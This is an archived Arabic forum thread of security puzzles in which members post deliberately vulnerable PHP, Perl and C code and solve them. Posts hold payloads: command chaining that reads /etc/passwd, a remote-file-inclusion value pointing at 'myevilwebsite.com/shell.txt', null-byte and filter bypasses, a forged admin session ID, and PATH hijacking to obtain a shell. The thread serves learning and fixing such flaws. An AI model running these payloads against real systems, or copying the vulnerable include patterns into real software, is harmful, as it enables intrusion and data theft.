الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

تحليل الأكواد البرمجية بحثا عن الثغرات

بدأه Laz0rd في 21 ديسمبر 2012 · 47 رد · 9,714 مشاهدة · في قسم أمن المعلومات العام
مشاركة: واتساب X فيسبوك تيليجرام
#26
Xacker كتب:

لا أعلم ما هو الحل الذي تبحث عنه لكن يمكن تنفيذ أوامر إضافية بأشكال عديدة

منها ما تفضل به أحمد باستخدام && لكن يعيبه أنه في حال فشل تنفيذ أحد الأوامر فكل ما يتبعه سيفشل لأنه مبني على شرط تنفيذ الأمر التالي فقط إذا تم تنفيذ الأمر السابق

الشكل آخر بالفصل بين الأوامر باستخدام ;

مثل

$->echo hi; cat /etc/passwd;
hi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

وتستطيع الاستفادة من pipe line أيضاً في إرسال خرج أحد الأوامر إلى الأمر الذي يليه

مثلاً:

$->echo | grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash

أو

$->echo | cmd /C "dir"
 Volume in drive C is win7
 Volume Serial Number is 96xx-54xx

 Directory of C:\Users\Xacker\Desktop

12/23/2012  06:23 AM    <DIR>          .
12/23/2012  06:23 AM    <DIR>          ..
10/23/2012  07:34 AM           239,541 CC.txt
10/20/2012  02:43 PM    <DIR>          projects
12/22/2012  12:35 PM    <DIR>          translate
12/23/2012  05:36 AM               823 x.pl
               7 File(s)      3,788,306 bytes
               7 Dir(s)   3,792,490,496 bytes free

وأخيراً تستطيع الاستفادة من grave accent كما أشرت في معالجة ما بينها كأمر بدلاً من سلسلة نصية

مثلاً:

$->echo `x=world; echo "hello $x"`
hello world

الله!

من زمان ما شفت رد تقني كهذا لـX.

شكرًا لكل مساهم في الموضوع، أيقظتم عمالقة من سباتهم. :)

تم تعديل هذه المشاركة بواسطة Adban في 23 ديسمبر 2012 في 15:16

#27

السلام عليكم

أخشى أنك بعد بضع ثغرات أخرى تقول مبروك عليكم تعلم لغة Perl smile.gif

لكن لي سؤال هل مبتكر هذه اللغة جنسيته تشيكي ؟!

تفصيل رائع للكود من أخي Xacker

بالمناسبة الصيغة التالية تُعتبر خاطئة في لغات عديدة :

$par = $par." ".$_;

- بما أنها عملية استخدام متغير لم يتم اسناد قيمة له بعد

التالي ثغره بسيطه

1- معلومات اللغة : php و perl

2- وظيفة الكود : جلب المتغيرات من الرابط لتضمين أكواد معينه موجوده ضمن ملفات على الخادم على حسب هذه المتغيرات والرابط يكون بهذا الشكل :

http://www.yoursite.com/index.php?id=1&page=show

- الهدف : إجاد ثغره في هذا الكود تسمح بتنفيذ كود خبيث وتدمير الموقع !

الكود بلغة php :

<?php
	if(isset($_GET['id'],$_GET['page']))
	{
		if($_GET['id'] == 1)
		{
			include 'pages/'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 2)
		{
			include '../'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 3)
		{
			include $_GET['page'].'.php';
		}
		elseif($_GET['id'] == 4)
		{
			include 'pages/subpages/'.$_GET['page'].'.php';
		}
	}
?>

الكود بلغة Perl :

if ($ENV{'REQUEST_METHOD'} eq "GET") {

	@getArr = split('/?|=|&/',$ENV{'QUERY_STRING'});
	shift(@getArr);
	if(shift(@getArr) eq "id")
	{
		$id = shift(@getArr);
	}
	if(shift(@getArr) eq "page")
	{
		$page = shift(@getArr);
	}
	if($id eq "1")
	{
		require "pages/".$page.".pl";
	}
	elsif($id eq "2")
	{
		require "../".$page.".pl";
	}
	elsif($id eq "3")
	{
		require $page.".pl";
	}
	elsif($id eq "4")
	{
		require "pages/subpages/".$page.".pl";
	}

}

- بالنسبة لكود الـ perl ربما تكون به أخطاء والمعلومات وأوامر اللغة التي كتب بها الكود هي ما إستخرجته من تتبع كود أخي Laz0rd لمحاكاة دالة $_GET في php بالإضافة لإستخدام دوال الخادم للحصول على الرابط ونوعيه إرسال البيانات .

لاتحسبن العلم ينفع وحده مالم يتوج ربه بخلاق

لا إله إلا أنت سبحانك إني كنت من الظالمين

#28

لقد وجدت موقع راااااااائع ملئ بالتحديات البرمجية http://www.hack4ttack.com/

هناك تحدى لم استطع حله فقلت ممكن تساعدونى فيه و يبقى تحدى جديد للجميع :D

المطلوب : استفد من الكود المصدري في الأسفل للحصول على صلاحيات المستخدم admin باعتبار أن الكود المصدري في الأسفل موجود في هذه الصفحة .

<?
function set_session_id()
{
// sets the session ID to a new one .
    session_id(md5($username));
// Send session ID cookie .
}

if( !isset($_GET["sessionID"]) )
{
    echo "Wrong session identifier" ;
}
else
{
    session_id($_GET["sessionID"]);
    session_start();
    echo "Welcome"; 
    // Do anything you want !!
}
?>

عنوان الصفحة هو .... يجب التسجيل لحل التحديات بس انا قلت اضعه علشان اعرف كيفية استغلال الثغرة :)

http://challenges.hack4ttack.com/challenges/bplogic/mission4.php

تم تعديل هذه المشاركة بواسطة 0M@R في 23 ديسمبر 2012 في 23:13

1 −1

ردك على مواضيعى بالنقد او الشكر يساعدنى على اعطاء المزيد اما ان تقرا و تاخذ المعلومة التى تريدها و ترحل سيؤدى الى عدم الاجابة مرة اخرى و عدم طرح اى مواضيع فساعدونى حتى نرتقى بالمنتدى ولو بكلمة "شكرا"

سبحانك الله و بحمدك عدد خلقك و رضى نفسك و زنة عرشك ومداد كلماتك

#29
ahmedsaoud31 كتب:

التالي ثغره بسيطه

1- معلومات اللغة : php و perl

2- وظيفة الكود : جلب المتغيرات من الرابط لتضمين أكواد معينه موجوده ضمن ملفات على الخادم على حسب هذه المتغيرات والرابط يكون بهذا الشكل :

http://www.yoursite.com/index.php?id=1&page=show

- الهدف : إجاد ثغره في هذا الكود تسمح بتنفيذ كود خبيث وتدمير الموقع !

الكود بلغة php :

<?php
	if(isset($_GET['id'],$_GET['page']))
	{
		if($_GET['id'] == 1)
		{
			include 'pages/'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 2)
		{
			include '../'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 3)
		{
			include $_GET['page'].'.php';
		}
		elseif($_GET['id'] == 4)
		{
			include 'pages/subpages/'.$_GET['page'].'.php';
		}
	}
?>

إذا كانت allow_url_include و allow_url_fopen تحمل القيمة ON فلديك ثغرة RFI تستطيع استخدامها مع id=3 و page=http://www.myevilwebsite.com/shell.txt? (الـ ? في النهاية لتجاوز .php التي تلصق مع القيمة)

غير ذلك، لديك ثغرة LFI.

1

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#30
ahmedsaoud31 كتب:

السلام عليكم

أخشى أنك بعد بضع ثغرات أخرى تقول مبروك عليكم تعلم لغة Perl smile.gif

لكن لي سؤال هل مبتكر هذه اللغة جنسيته تشيكي ؟!

تفصيل رائع للكود من أخي Xacker

بالمناسبة الصيغة التالية تُعتبر خاطئة في لغات عديدة :

$par = $par." ".$_;

- بما أنها عملية استخدام متغير لم يتم اسناد قيمة له بعد

التالي ثغره بسيطه

1- معلومات اللغة : php و perl

2- وظيفة الكود : جلب المتغيرات من الرابط لتضمين أكواد معينه موجوده ضمن ملفات على الخادم على حسب هذه المتغيرات والرابط يكون بهذا الشكل :

http://www.yoursite.com/index.php?id=1&page=show

- الهدف : إجاد ثغره في هذا الكود تسمح بتنفيذ كود خبيث وتدمير الموقع !

الكود بلغة php :

<?php
	if(isset($_GET['id'],$_GET['page']))
	{
		if($_GET['id'] == 1)
		{
			include 'pages/'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 2)
		{
			include '../'.$_GET['page'].'.php';
		}
		elseif($_GET['id'] == 3)
		{
			include $_GET['page'].'.php';
		}
		elseif($_GET['id'] == 4)
		{
			include 'pages/subpages/'.$_GET['page'].'.php';
		}
	}
?>

الكود بلغة Perl :

if ($ENV{'REQUEST_METHOD'} eq "GET") {

	@getArr = split('/?|=|&/',$ENV{'QUERY_STRING'});
	shift(@getArr);
	if(shift(@getArr) eq "id")
	{
		$id = shift(@getArr);
	}
	if(shift(@getArr) eq "page")
	{
		$page = shift(@getArr);
	}
	if($id eq "1")
	{
		require "pages/".$page.".pl";
	}
	elsif($id eq "2")
	{
		require "../".$page.".pl";
	}
	elsif($id eq "3")
	{
		require $page.".pl";
	}
	elsif($id eq "4")
	{
		require "pages/subpages/".$page.".pl";
	}

}

- بالنسبة لكود الـ perl ربما تكون به أخطاء والمعلومات وأوامر اللغة التي كتب بها الكود هي ما إستخرجته من تتبع كود أخي Laz0rd لمحاكاة دالة $_GET في php بالإضافة لإستخدام دوال الخادم للحصول على الرابط ونوعيه إرسال البيانات .

اقتباس
أخشى أنك بعد بضع ثغرات أخرى تقول مبروك عليكم تعلم لغة Perl smile.gif

كشفت الخطة السرية ...ههههه

وجميلة محاولتك بالبيرل ..رائع استخدامك لمتغيرات البيئة وفهمك لاسلوبها ...

الكود يلي كتبته كله يؤدي لنفس الثغرة ماعدا رقم 3 : يمكن استغلالها بشكل RFI اما بالنسبة ل .php يلي يتم اضافتها تستطيع تجاهلها ببساطة من خلال %00

اما باقي الكود فكله نفس الاستغلال ..LFI

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

#31

الـ %00 بحاجة طبعاً لـ magic_quotes_gpc = off

هنا تجدون معلومات أوسع عن LFI و RFI:

http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview

0M@R كتب:

المطلوب : استفد من الكود المصدري في الأسفل للحصول على صلاحيات المستخدم admin باعتبار أن الكود المصدري في الأسفل موجود في هذه الصفحة .

<?
function set_session_id()
{
// sets the session ID to a new one .
    session_id(md5($username));
// Send session ID cookie .
}

if( !isset($_GET["sessionID"]) )
{
    echo "Wrong session identifier" ;
}
else
{
    session_id($_GET["sessionID"]);
    session_start();
    echo "Welcome"; 
    // Do anything you want !!
}
?>

عنوان الصفحة هو .... يجب التسجيل لحل التحديات بس انا قلت اضعه علشان اعرف كيفية استغلال الثغرة :)

http://challenges.hack4ttack.com/challenges/bplogic/mission4.php

mission4.php?sessionID=21232f297a57a5a743894a0e4a801fc3

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#32

لدينا لغز جميل اليوم ..للاسف معظم المبرمجين لاينتبهون له في برامجهم ...إن شاء الله اليوم نوضح الفكرة ...

معلومات عن اللغز :

1- لغة البرمجة : Perl - C - PHP

2- وظيفة الكود : تنفيذ امر uname

3- الهدف : تغير مسار التنفيذ ..والحصول على شيل /bin/sh ....

#!/usr/bin/perl
# By 1aZ0rd SyR!An
print "Can You Hack This ...?\n";
system('uname');

#include <stdlib.h>

void main()
{
printf("Can You Hack This ...?\n");
system("uname");

}

<?php
echo "Can You Hack This ...?\n";
system("uname");
?>

طبعا كتبت الكود بأكثر من لغة لحتى نعرف انو اللغة مالها علاقة ...بل الموضوع اكبر من ذلك ...

التطبيق على لينكس ...ولكن ممكن يصيب ويندوز نفس المشكلة وهذا ماسوف توضحوه في حلولكم :) :) :)

تم تعديل هذه المشاركة بواسطة Laz0rd في 24 ديسمبر 2012 في 00:27

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

#33

السلام عليكم

تحياتي لكم , كما يمكن الوصول من ثغرة الـ LFI إلى RFI , موضع جميل للتنيه على الثغرات حتى لا نقع بها

رابط رائع أخي Xacer إستفدت منه

اقتباس
وظيفة الكود : تنفيذ امر uname
- فقط لاغير smile.gif

أول أمس نسخة الـ Linux توقفت لدى والكسل يُخيم علي لأبحث لها عن حل

لاتحسبن العلم ينفع وحده مالم يتوج ربه بخلاق

لا إله إلا أنت سبحانك إني كنت من الظالمين

#34
ahmedsaoud31 كتب:

السلام عليكم

تحياتي لكم , كما يمكن الوصول من ثغرة الـ LFI إلى RFI , موضع جميل للتنيه على الثغرات حتى لا نقع بها

رابط رائع أخي Xacer إستفدت منه

- فقط لاغير smile.gif

أول أمس نسخة الـ Linux توقفت لدى والكسل يُخيم علي لأبحث لها عن حل

اها يمكن الوصول من LFI الى سيطرة كاملة على سيرفر ...ولكن ليست موضوعنا اليوم ...

اذا ابحث عن الجزء الثاني من الحل على نظام ويندوز ..

تم تعديل هذه المشاركة بواسطة Laz0rd في 24 ديسمبر 2012 في 10:46

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

#35
Laz0rd كتب:

3- الهدف : تغير مسار التنفيذ ..والحصول على شيل /bin/sh ....

من هذه الجملة اظن أنك تقصد شيء كهذا:

mv /tmp/myshell /tmp/uname
export PATH=/tmp:$PATH
./unamescript

اضافة:

طبعا هذا يشمل احتمالية استبدال ملف uname الاساسي الموجود افتراضياً, أو وضع النسخة المعدلة ضمن مسار يسبق مسار الـ uname الاساسي ضمن المتحول PATH بالاستفادة من أولوية المسارات ضمنه!

أي أن المشكلة في الكود هو عدم استخدام full path و الاعتماد على الـ env PATH

تم تعديل هذه المشاركة بواسطة MoHaMMaD Pro في 24 ديسمبر 2012 في 13:40

1

Everything will be fine when we TALK LESS, DO MORE


#36
MoHaMMaD Pro كتب:

من هذه الجملة اظن أنك تقصد شيء كهذا:

mv /tmp/myshell /tmp/uname
export PATH=/tmp:$PATH
./unamescript

اضافة:

طبعا هذا يشمل احتمالية استبدال ملف uname الاساسي الموجود افتراضياً, أو وضع النسخة المعدلة ضمن مسار يسبق مسار الـ uname الاساسي ضمن المتحول PATH بالاستفادة من أولوية المسارات ضمنه!

أي أن المشكلة في الكود هو عدم استخدام full path و الاعتماد على الـ env PATH

برافو عليك صديقي You Are The Man Bro ...!!!

حلك صحيح 100 % بس لو سأل سائل ..اذا كان لهذا الكائن الشرير المسمى هاكر وصول الى command line فماذا سوف يستفيد من هذا الاستغلال الذي طرحته حضرتك ..؟؟ يعني شو رح يستفيد منه ...نحن حصلنا باستغلال شيل

ولكن اصلا كان معنا شيل يعني شو استفدنا ..تذكر مو شرط الحكي يكون عن الكود الذي طرحته انا ..بل بشكل عام ...

ثانيا لاتنسى عليك ذكر شروط التي يجب ان تتوفر لكي تعمل هذه الثغرة على الويندوز ...

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

#37
اقتباس

حلك صحيح 100 % بس لو سأل سائل ..اذا كان لهذا الكائن الشرير المسمى هاكر وصول الى command line فماذا سوف يستفيد من هذا الاستغلال الذي طرحته حضرتك ..؟؟

طبعا سيستفيد الكثير من الخصائص الموجودة بالشل sh او bash وهي غير موجودة بالشل الذي حصل عليه بالاستغلال مثل تمرير الخارج بالمعامل الأنبوبي

لكن هاهنا سؤال : إذا كان قد وصل إلى line commande فلماذا يستعمل هذا السكريبت للوصول إلى bash ولماذا لا يكتب من أول الأمر /bin/bash

تم تعديل هذه المشاركة بواسطة أحمد أبو عبد البر في 24 ديسمبر 2012 في 21:03

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#38

ربما يتم استدعاء السكربت من لغة مثل PHP مثلاً، والتي تقوم بأخذ الخرج وعرضه للمستخدم في المتصفح

ليس بالضرورة أن يكون السكربت له وظيفة معينة حتى نقتنع بوجود مشكلة في التصميم، يكفي الإشارة إلى الجزء الذي يقع فيه المبرمجون في خطأ.

أما بالنسبة لنظام Windows

فلنفرض أن السكربت كان بالشكل:

system('whoami')

فـ whoami هو ملف مساره الكامل c:\windows\system32\whoami.exe

لكن كون الاستدعاء تم بالشكل 'whoami' وليس 'whoami.exe'

فيمكن (في XP وما قبل) وضع ملف whoami.com في ذات المسار السابق

وعند تنفيذ whoami بدون اللاحقة، سيتم استدعاء whoami.com وليس whoami.exe

موضوع مرتبط: Order of Precedence in Locating Executable Files

2

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#39

بما ان التحدى السابق تم حله من قبل الاخوة الاعضاء xacker و MoHaMMaD Pro فقد قررت وضع تحدىت جديد لا اعرف هل ستكتشفونه بسرعة ام ببطئ رغم انه غير منتشر جدا ولكنه خطير :)

المطلوب : ما هى الثغرة وكيف يمكن الاسفادة منها و كيفية ترقيعها .... انا قلت نكتب كيفية ترقيعها حتى يتعلم المبرمجين و ان كان لديهم هذا الخطأ يصلحوه :D

<?
class pay
{
function pay(){
global $HTTP_POST_VARS;
$price =100; // سعر المنتج
$qty=$HTTP_POST_VARS['quantity']; // الكميةٌ
echo $chargeUser=$price*$qty;
}
};
$start_new=new pay();
?>

ردك على مواضيعى بالنقد او الشكر يساعدنى على اعطاء المزيد اما ان تقرا و تاخذ المعلومة التى تريدها و ترحل سيؤدى الى عدم الاجابة مرة اخرى و عدم طرح اى مواضيع فساعدونى حتى نرتقى بالمنتدى ولو بكلمة "شكرا"

سبحانك الله و بحمدك عدد خلقك و رضى نفسك و زنة عرشك ومداد كلماتك

#40

ألا يوجد لغز لا يحتاج لنسخة قديمة من PHP؟ :P

لا أملك نسخة تدعم $HTTP_POST_VARS

لكن نظرياً:

$HTTP_POST_VARS تسمح بتعريف متغيرات جديدة دون الحاجة إلى كتابتها بنفسك.

مثلاً لو تم إرسال الحقل quantity في نموذج الإرسال فهذا يعني أنه أصبح لديك المتغير $quantity وتستطيع التعامل معه ومع قيمته مباشرة

ويكون $quantity == $HTTP_POST_VARS['quantity']

مع استخدامك لـ global فقد جعلت "جميع" المتغيرات الممررة عبر نموذج الإرسال تصبح global vars

هذا يعني أني أستطيع تمرير حقل مخفي بالاسم "admin" مثلاً وسيصبح لدي داخل شفرتك متغير $admin حتى ولو لم تقم بالتصريح عنه، ويمكن استخدامه خارج التابع pay أو الصف pay في أي مكان ضمن المستند.

*ربما* ولست متأكد من هذا، قد يؤدي استخدامها إلى الكتابة فوق متغير مصرّح مسبقاً .. طبعاً أحتاج لاختبار هذا ولا يمكنني بدون نسخة قديمة من PHP

كل هذا الكلام عموماً نظري لأنه غير مترافق مع اختبار فعلي للشفرة المطروحة.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#41

كلامك صحيح و لكن يوجد خطأ اخر

فى المثال يوجد خطأ اخر وهو عدم تحقق المبرمج من صحة البيانات المستقبلة من المستخدم و يمكن ان يضع المستخدم كمية المنتج بالسالب و بذلك بدلا من ان يتم خصم 1000 جنيه من المستخدم سيتم اضافة 1000 جنيه الى حساب العميل

دلوقتى محدش قال ازاى ممكن نقفل هذه الثغرة ؟؟!!!

ردك على مواضيعى بالنقد او الشكر يساعدنى على اعطاء المزيد اما ان تقرا و تاخذ المعلومة التى تريدها و ترحل سيؤدى الى عدم الاجابة مرة اخرى و عدم طرح اى مواضيع فساعدونى حتى نرتقى بالمنتدى ولو بكلمة "شكرا"

سبحانك الله و بحمدك عدد خلقك و رضى نفسك و زنة عرشك ومداد كلماتك

#42
0M@R كتب:

كلامك صحيح و لكن يوجد خطأ اخر

فى المثال يوجد خطأ اخر وهو عدم تحقق المبرمج من صحة البيانات المستقبلة من المستخدم و يمكن ان يضع المستخدم كمية المنتج بالسالب و بذلك بدلا من ان يتم خصم 1000 جنيه من المستخدم سيتم اضافة 1000 جنيه الى حساب العميل

دلوقتى محدش قال ازاى ممكن نقفل هذه الثغرة ؟؟!!!

لو كان الكود متكامل لأصبح من الواضح الخطأ البرمجي (شخصياً لا أسميه ثغرة)

بكل الأحوال PHP تحوي على دالة ABS تستطيع استخدامها لتحويل القيمة المدخلة إلى قيمة موجبة.

طبعاً يمكن للمستخدم إدخال حرف بدل من رقم، والمجال واسع .. إن كنا نتحدث عن الأخطاء.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#43
Laz0rd كتب:

برافو عليك صديقي You Are The Man Bro ...!!!

حلك صحيح 100 % بس لو سأل سائل ..اذا كان لهذا الكائن الشرير المسمى هاكر وصول الى command line فماذا سوف يستفيد من هذا الاستغلال الذي طرحته حضرتك ..؟؟ يعني شو رح يستفيد منه ...نحن حصلنا باستغلال شيل

ولكن اصلا كان معنا شيل يعني شو استفدنا ..تذكر مو شرط الحكي يكون عن الكود الذي طرحته انا ..بل بشكل عام ...

ثانيا لاتنسى عليك ذكر شروط التي يجب ان تتوفر لكي تعمل هذه الثغرة على الويندوز ...

أنت كتبت اللغز بالحالة العامة, فكانت اجابتي بالحالة العامة أيضاً, طبعا بالشكل الموجود في الاجابة لن يكون هناك فائدة تذكر من الاستغلال ولكن سيبقى الكود بهذا الشكل غير آمن!

دائما هناك البيئة التي تستطيع فيها الاستفادة من استغلال معين والبيئة التي لن تستفيد من ذات الاستغلال فيها!

عموماً لم ارد الخوض في الحالات التي يمكن الاستفادة فيها من هذا الاستغلال حتى لا يتم استخدامها بالشكل السيء, ولكن الاستغلالات من هذا النوع تكون فائدتها في كونها ظاهرياً آمنة جداً ولا مشكلة فيها!

وإذا اردت الوصول إلى فائدتها, فتخيل أن من ينفذ الخطوات التي كتبتها لك في ردي السابق ليس المخترق بشكل مباشر, وإنما يقوم بها سكربت مفيد جداً قام بكتابته و نشره ضمن الانترنت أو قام بحقنه ضمن مشروع ما,و أن من ينفذ السكربت هو Admin ﻷحد السيرفرات الذين اعجبوا بهذا السكربت المفيد :)

عندها حتى لو قام هذا الـ admin بالاطلاع على الكود للتأكد من سلامته قد لا يلاحظ فيه هذا الجانب الخطير!

تم تعديل هذه المشاركة بواسطة MoHaMMaD Pro في 25 ديسمبر 2012 في 17:23

Everything will be fine when we TALK LESS, DO MORE


#45

بصراحة انا غير جيد فى الهندسة العكسية فمش عارف اكسره بس هحاول تانى :D

ردك على مواضيعى بالنقد او الشكر يساعدنى على اعطاء المزيد اما ان تقرا و تاخذ المعلومة التى تريدها و ترحل سيؤدى الى عدم الاجابة مرة اخرى و عدم طرح اى مواضيع فساعدونى حتى نرتقى بالمنتدى ولو بكلمة "شكرا"

سبحانك الله و بحمدك عدد خلقك و رضى نفسك و زنة عرشك ومداد كلماتك

#46

السلام عليكم ورحمة الله وبركاته .....
اليوم معنا تحدي بسيط للغاية ..مكتوب بلغة PHP
الهدف بسيط قرائة ملف /etc/passwd
كود التحدي :

<?
$page=$_GET['page'];
$page = preg_replace('/etc/','',$page,1);
if (file_exists($page))
{
    $path=$page ."/".$page.".php";
    include($path);
}else{
    print "Can You Read /etc/passwd ....??";
}
?>
1

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

#47

وعليكم السلام ورحمة الله وبركاته .

بما انك قمت بوضع limit في الدالة preg_replace فيمكن تجاوزها بادخال :

/etcetc/passwd

اما السطر

    $path=$page ."/".$page.".php";

فيمكن تجاوزه بوضع ما يسمى null byte بعد اسم الملف

/etcetc/passwd%00

لكن اظن ان هذه الطريقة غير فعالة في الاصدارات الحديثة من لغة php حيث لم تعمل عند استخدامي لاصدار5.4.7 وذلك عند التحقق من وجود الملف , لكن في الاصدارات السابقة تعمل 100%

في انتظار تحديك القادم :)

تم تعديل هذه المشاركة بواسطة Abd Allatif في 1 مارس 2013 في 08:23

#48
Abd Allatif كتب:

وعليكم السلام ورحمة الله وبركاته .

بما انك قمت بوضع limit في الدالة preg_replace فيمكن تجاوزها بادخال :

/etcetc/passwd

اما السطر

    $path=$page ."/".$page.".php";

فيمكن تجاوزه بوضع ما يسمى null byte بعد اسم الملف

/etcetc/passwd%00

لكن اظن ان هذه الطريقة غير فعالة في الاصدارات الحديثة من لغة php حيث لم تعمل عند استخدامي لاصدار5.4.7 وذلك عند التحقق من وجود الملف , لكن في الاصدارات السابقة تعمل 100%

في انتظار تحديك القادم :)

حلك صحيح ....

Ninja-Sec.org

logo.png

If You Can't Beat Them Keep Them Confused

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…